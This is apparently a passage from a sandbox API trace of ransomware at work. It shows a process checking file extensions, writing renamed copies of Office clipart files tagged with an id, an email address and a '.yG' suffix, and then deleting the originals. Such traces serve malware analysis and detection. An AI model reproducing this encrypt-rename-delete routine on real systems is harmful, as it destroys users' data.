	[0139.515] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0139.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0139.515] lstrlenW (lpString=".dbf") returned 4
	[0139.515] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0139.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0139.515] lstrlenW (lpString=".1cd") returned 4
	[0139.515] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0139.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0139.515] lstrlenW (lpString=".jpg") returned 4
	[0139.515] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0139.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0139.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0139.515] lstrlenW (lpString=".doc") returned 4
	[0139.515] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0139.515] lstrlenW (lpString=".docx") returned 5
	[0139.515] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0139.515] lstrlenW (lpString=".pdf") returned 4
	[0139.515] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0139.516] lstrlenW (lpString=".xls") returned 4
	[0139.516] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0139.516] lstrlenW (lpString=".xlsx") returned 5
	[0139.516] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0139.516] lstrlenW (lpString=".ppt") returned 4
	[0139.516] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0139.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0139.516] lstrlenW (lpString=".zip") returned 4
	[0139.516] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0139.516] lstrlenW (lpString=".rar") returned 4
	[0139.516] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0139.516] lstrlenW (lpString=".bz2") returned 4
	[0139.516] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0139.516] lstrlenW (lpString=".7z") returned 3
	[0139.516] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0139.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0139.516] lstrlenW (lpString=".dbf") returned 4
	[0139.516] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0139.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0139.516] lstrlenW (lpString=".1cd") returned 4
	[0139.516] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0139.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0139.516] lstrlenW (lpString=".jpg") returned 4
	[0139.516] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0139.517] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0139.517] lstrlenW (lpString="DD01180_.WMF") returned 12
	[0139.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0139.559] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=2084) returned 1
	[0139.559] CloseHandle (hObject=0x498) returned 1
	[0139.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x220
	[0139.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0139.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0139.608] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.608] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0139.610] GetLastError () returned 0x0
	[0139.610] ReadFile (in: hFile=0x494, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x824, lpOverlapped=0x0) returned 1
	[0139.648] WriteFile (in: hFile=0x4a0, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x830, lpOverlapped=0x0) returned 1
	[0139.658] ReadFile (in: hFile=0x494, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0139.658] WriteFile (in: hFile=0x4a0, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0139.658] SetEndOfFile (hFile=0x4a0) returned 1
	[0139.658] CloseHandle (hObject=0x4a0) returned 1
	[0139.658] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.658] SetEndOfFile (hFile=0x494) returned 1
	[0139.661] CloseHandle (hObject=0x494) returned 1
	[0139.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0139.662] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 1
	[0139.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0139.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0139.662] lstrlenW (lpString=".doc") returned 4
	[0139.662] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0139.662] lstrlenW (lpString=".docx") returned 5
	[0139.662] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0139.662] lstrlenW (lpString=".pdf") returned 4
	[0139.662] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0139.662] lstrlenW (lpString=".xls") returned 4
	[0139.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0139.663] lstrlenW (lpString=".xlsx") returned 5
	[0139.663] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0139.663] lstrlenW (lpString=".ppt") returned 4
	[0139.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0139.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0139.663] lstrlenW (lpString=".zip") returned 4
	[0139.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0139.663] lstrlenW (lpString=".rar") returned 4
	[0139.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0139.663] lstrlenW (lpString=".bz2") returned 4
	[0139.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0139.663] lstrlenW (lpString=".7z") returned 3
	[0139.663] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0139.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0139.663] lstrlenW (lpString=".dbf") returned 4
	[0139.663] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0139.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0139.663] lstrlenW (lpString=".1cd") returned 4
	[0139.663] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0139.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0139.663] lstrlenW (lpString=".jpg") returned 4
	[0139.663] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0139.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0139.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0139.664] lstrlenW (lpString=".doc") returned 4
	[0139.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0139.664] lstrlenW (lpString=".docx") returned 5
	[0139.664] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0139.664] lstrlenW (lpString=".pdf") returned 4
	[0139.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0139.664] lstrlenW (lpString=".xls") returned 4
	[0139.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0139.664] lstrlenW (lpString=".xlsx") returned 5
	[0139.664] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0139.664] lstrlenW (lpString=".ppt") returned 4
	[0139.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0139.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0139.664] lstrlenW (lpString=".zip") returned 4
	[0139.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0139.664] lstrlenW (lpString=".rar") returned 4
	[0139.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0139.664] lstrlenW (lpString=".bz2") returned 4
	[0139.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0139.664] lstrlenW (lpString=".7z") returned 3
	[0139.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0139.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0139.664] lstrlenW (lpString=".dbf") returned 4
	[0139.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0139.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0139.664] lstrlenW (lpString=".1cd") returned 4
	[0139.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0139.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0139.665] lstrlenW (lpString=".jpg") returned 4
	[0139.665] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0139.665] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0139.665] lstrlenW (lpString="DD01186_.WMF") returned 12
	[0139.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0139.666] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=8564) returned 1
	[0139.666] CloseHandle (hObject=0x494) returned 1
	[0139.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x220
	[0139.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0139.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0139.666] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.667] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0139.667] GetLastError () returned 0x0
	[0139.667] ReadFile (in: hFile=0x494, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x2174, lpOverlapped=0x0) returned 1
	[0139.713] WriteFile (in: hFile=0x4a0, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x2180, lpOverlapped=0x0) returned 1
	[0139.714] ReadFile (in: hFile=0x494, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0139.715] WriteFile (in: hFile=0x4a0, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0139.715] SetEndOfFile (hFile=0x4a0) returned 1
	[0140.124] CloseHandle (hObject=0x4a0) returned 1
	[0140.124] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0140.124] SetEndOfFile (hFile=0x494) returned 1
	[0140.127] CloseHandle (hObject=0x494) returned 1
	[0140.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0140.127] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 1
	[0140.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0140.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0140.128] lstrlenW (lpString=".doc") returned 4
	[0140.128] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0140.128] lstrlenW (lpString=".docx") returned 5
	[0140.128] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0140.128] lstrlenW (lpString=".pdf") returned 4
	[0140.128] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0140.128] lstrlenW (lpString=".xls") returned 4
	[0140.128] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0140.128] lstrlenW (lpString=".xlsx") returned 5
	[0140.128] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0140.128] lstrlenW (lpString=".ppt") returned 4
	[0140.128] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0140.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0140.128] lstrlenW (lpString=".zip") returned 4
	[0140.128] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0140.128] lstrlenW (lpString=".rar") returned 4
	[0140.129] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0140.129] lstrlenW (lpString=".bz2") returned 4
	[0140.129] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0140.129] lstrlenW (lpString=".7z") returned 3
	[0140.129] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0140.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0140.129] lstrlenW (lpString=".dbf") returned 4
	[0140.129] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0140.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0140.129] lstrlenW (lpString=".1cd") returned 4
	[0140.129] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0140.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0140.129] lstrlenW (lpString=".jpg") returned 4
	[0140.129] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0140.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0140.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0140.129] lstrlenW (lpString=".doc") returned 4
	[0140.129] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0140.129] lstrlenW (lpString=".docx") returned 5
	[0140.129] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0140.129] lstrlenW (lpString=".pdf") returned 4
	[0140.129] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0140.129] lstrlenW (lpString=".xls") returned 4
	[0140.129] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0140.129] lstrlenW (lpString=".xlsx") returned 5
	[0140.129] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0140.129] lstrlenW (lpString=".ppt") returned 4
	[0140.129] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0140.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0140.130] lstrlenW (lpString=".zip") returned 4
	[0140.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0140.130] lstrlenW (lpString=".rar") returned 4
	[0140.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0140.130] lstrlenW (lpString=".bz2") returned 4
	[0140.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0140.130] lstrlenW (lpString=".7z") returned 3
	[0140.130] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0140.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0140.130] lstrlenW (lpString=".dbf") returned 4
	[0140.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0140.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0140.130] lstrlenW (lpString=".1cd") returned 4
	[0140.130] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0140.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0140.130] lstrlenW (lpString=".jpg") returned 4
	[0140.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0140.131] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0140.131] lstrlenW (lpString="DD01585_.WMF") returned 12
	[0140.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0140.278] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=2524) returned 1
	[0140.278] CloseHandle (hObject=0x4a4) returned 1
	[0140.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x220
	[0141.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0141.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0142.522] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0142.522] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0142.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0142.619] GetLastError () returned 0x0
	[0142.619] ReadFile (in: hFile=0x49c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x9dc, lpOverlapped=0x0) returned 1
	[0142.621] WriteFile (in: hFile=0x424, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x9e0, lpOverlapped=0x0) returned 1
	[0142.622] ReadFile (in: hFile=0x49c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0142.622] WriteFile (in: hFile=0x424, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0142.622] SetEndOfFile (hFile=0x424) returned 1
	[0142.622] CloseHandle (hObject=0x424) returned 1
	[0142.622] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0142.622] SetEndOfFile (hFile=0x49c) returned 1
	[0142.628] CloseHandle (hObject=0x49c) returned 1
	[0142.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0142.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 1
	[0142.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0142.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0142.630] lstrlenW (lpString=".doc") returned 4
	[0142.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0142.630] lstrlenW (lpString=".docx") returned 5
	[0142.630] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0142.630] lstrlenW (lpString=".pdf") returned 4
	[0142.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0142.630] lstrlenW (lpString=".xls") returned 4
	[0142.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0142.630] lstrlenW (lpString=".xlsx") returned 5
	[0142.630] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0142.630] lstrlenW (lpString=".ppt") returned 4
	[0142.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0142.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0142.630] lstrlenW (lpString=".zip") returned 4
	[0142.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0142.630] lstrlenW (lpString=".rar") returned 4
	[0142.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0142.630] lstrlenW (lpString=".bz2") returned 4
	[0142.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0142.630] lstrlenW (lpString=".7z") returned 3
